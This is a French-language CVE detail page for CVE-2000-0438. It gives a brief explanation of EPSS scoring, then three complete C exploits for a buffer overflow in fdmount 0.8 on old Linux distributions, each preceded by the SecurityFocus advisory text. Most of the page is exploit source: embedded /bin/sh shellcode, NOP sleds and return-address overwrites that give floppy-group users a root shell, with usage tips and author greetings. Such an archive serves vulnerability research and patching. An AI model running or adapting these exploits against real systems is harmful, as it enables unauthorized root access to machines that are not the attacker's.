CVE-2000-0438 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/1239/info A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root. This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. /* * fdmount 0.8 buffer-overflow exploit (fd-ex.c) * (C) 2000 Paulo Ribeiro <[email protected]> * * Systems tested: Slackware Linux 7.0 * * Remember: you have to be a member of floppy group to exploit it! */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 180 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/usr/bin/fdmount fd0 $RET"); } /* fd-ex.c: EOF */

// source: https://www.securityfocus.com/bid/1239/info A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root. This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. /* Welcome dear reader - be it scriptkiddy, whose sole intent it is to destroy precious old Unix boxes or Assembly Wizard whose sole intent = it is to correct my code and send me a flame. The fdutils package contains a setuid root file that is used by the = floppy group to mount and unmount floppies. If you are not in this group, = this exploit will not work. This thingy was tested on Slackware 4.0 and 7.0 Use as: fdmount-exp [offset] [buf size] [valid text ptr] Since the char * text is overwritten in void errmsg(char *text) we = should make sure that this points to a valid address (something in the .data section should do perfectly). The hard coded one used works on my = box, to find the one you need use something like: objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \ cut -d " " -f1 The HUGE number of nops is needed to make sure this exploit works. Since it Segfaults out of existence without removing /etc/mtab~ we only get one try... Take care with your newly aquired EUID 0! Cheers go out to: #phreak.nl #b0f #hit2000 #root66 The year 2000 scriptkiddie award goed to: Gerrie Mansur Love goes out to: Hester, Maja (you're so cute!), Dopey -- Yours truly, Scrippie - [email protected] - buffer0verfl0w security - #phreak.nl */ #include <stdio.h> #define NUM_NOPS 500 // Gee, Aleph1 his shellcode is back once more char shellcode[] = "\x31\xc0\xb0\x17\x31\xdb\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { int buf_size = 71; int offset=0, i; char *overflow; char *ovoff; long addr, ptr=0x0804c7d0; if(argc>1) offset = atoi(argv[1]); if(argc>2) buf_size = atoi(argv[2]); if(argc>3) ptr = strtol(argv[3], (char **) NULL, 16); printf("##############################################\n"); printf("# fdmount Slack 4/7 exploit - by Scrippie #\n"); printf("##############################################\n"); printf("Using offset: %d\n", offset); printf("Using buffer size: %d\n", buf_size); printf("Using 0x%x for \"void errmsg(char *text,...)\" char *text\n", = ptr); if(!(overflow = (char = *)malloc(buf_size+16+NUM_NOPS+strlen(shellcode)))) { fprintf(stderr, "Outta memory - barging out\n"); exit(-1); } overflow[0] = '/'; for(i=1;i<buf_size;i++) { overflow[i] = 0x90; } addr = get_sp() - offset; printf("Resulting address: 0x%x\n", addr); memcpy(overflow + strlen(overflow), (void *) &addr, 4); memcpy(overflow + strlen(overflow), (void *) &ptr, 4); memcpy(overflow + strlen(overflow), (void *) &ptr, 4); memcpy(overflow + strlen(overflow), (void *) &ptr, 4); ovoff = overflow + strlen(overflow); for(i=0;i<NUM_NOPS;i++) { *ovoff = 0x90; *ovoff++; } strcpy(ovoff, shellcode); execl("/usr/bin/fdmount", "fdmount", "fd0", overflow, NULL); return 0; } /* www.hack.co.za [18 May]*/

// source: https://www.securityfocus.com/bid/1239/info A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root. This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. /* fdmount exploit * * by [WaR] <[email protected]> and Zav <[email protected]> * * usage: ./fdmountx <offset> * try with offset around 390 (you'll only get one try) * * Shout outs to all of the GenHex crew, and to * the #newbreed at irc.ptnet.org. */ #include <stdio.h> #include <stdlib.h> #define BUFFSIZE 70 char shell[] = /* by Zav */ "\xeb\x33\x5e\x89\x76\x08\x31\xc0" "\x88\x66\x07\x83\xee\x02\x31\xdb" "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b" "\x24\x0f\x8d\x5e\x08\x89\xd9\x83" "\xee\x02\x8d\x5e\x0e\x89\xda\x83" "\xc6\x02\x89\xf3\xcd\x80\x31\xdb" "\x89\xd8\x40\xcd\x80\xe8\xc8\xff" "\xff\xff/bin/sh"; main(int argc, char **argv) { int i,j; char buffer[BUFFSIZE+6]; unsigned long eip=(unsigned long)&eip; unsigned long *ptr; if(argc>1) eip+=atoi(argv[1]); memset(buffer,0x90,75); memcpy(buffer+(BUFFSIZE-strlen(shell)),shell,strlen(shell)); ptr=(unsigned long*)(buffer+71); *ptr=eip; buffer[75]=0; buffer[0]='/'; execl("/usr/bin/fdmount","fdmount","fd0",buffer,NULL); }